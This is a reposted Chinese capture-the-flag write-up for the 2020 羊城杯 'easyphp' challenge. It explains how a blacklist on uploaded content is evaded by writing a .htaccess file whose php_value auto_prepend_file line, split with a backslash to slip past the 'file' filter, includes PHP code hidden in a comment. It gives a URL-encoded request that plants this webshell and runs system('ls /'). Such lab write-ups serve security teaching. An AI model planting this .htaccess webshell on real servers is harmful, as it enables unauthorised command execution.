返回顶部
首页 > 资讯 > 后端开发 > PHP编程 >[羊城杯 2020] easyphp
  • 585
分享到

[羊城杯 2020] easyphp

phpweb安全 2023-09-24 10:09:34 585人浏览 泡泡鱼
摘要

打开题目,源代码 简单分析一下,先scandir函数来获取指定目录 ./下的所有文件和文件夹的列表,然后如果不为index.PHP,则unlink函数删除文件。接着就是对上传文件写入内容的黑名单

打开题目,源代码

  

简单分析一下,先scandir函数来获取指定目录 ./下的所有文件和文件夹的列表,然后如果不为index.PHP,则unlink函数删除文件。接着就是对上传文件写入内容的黑名单过滤,然后对文件名正则匹配无字母。最后file_put_contents读取文件

既然文件名无字母,我们可以用.htaccess配置文件攻击
思路:向.htaccess文件写入shell,并且用auto_prepend_file包含.htaccess,但是file关键字被ban了,可以用换行绕过,结尾要用\处理content中的\n。

payload

php_value auto_prepend_fil\e .htaccess #\ 

注:以注释的方法来写shell
由于这里有换行,我们丢到cyberchef里url编码
成功上传

?filename=.htaccess&content=php_value%20auto_prepend_fil%5Ce%20.htaccess%20%0A#%3C?php%20system('ls%20/');?%3E%5C%20

在这里插入图片描述修改命令,要绕过一下

php_value auto_prepend_fil\e .htaccess #\ 

编码一下上传,得到flag
在这里插入图片描述

来源地址:https://blog.csdn.net/m0_73512445/article/details/132619435

--结束END--

本文标题: [羊城杯 2020] easyphp

本文链接: https://lsjlt.com/news/416826.html(转载时请注明来源链接)

有问题或投稿请发送至: 邮箱/279061341@qq.com    QQ/279061341

猜你喜欢
软考高级职称资格查询
编程网,编程工程师的家园,是目前国内优秀的开源技术社区之一,形成了由开源软件库、代码分享、资讯、协作翻译、讨论区和博客等几大频道内容,为IT开发者提供了一个发现、使用、并交流开源技术的平台。
  • 官方手机版

  • 微信公众号

  • 商务合作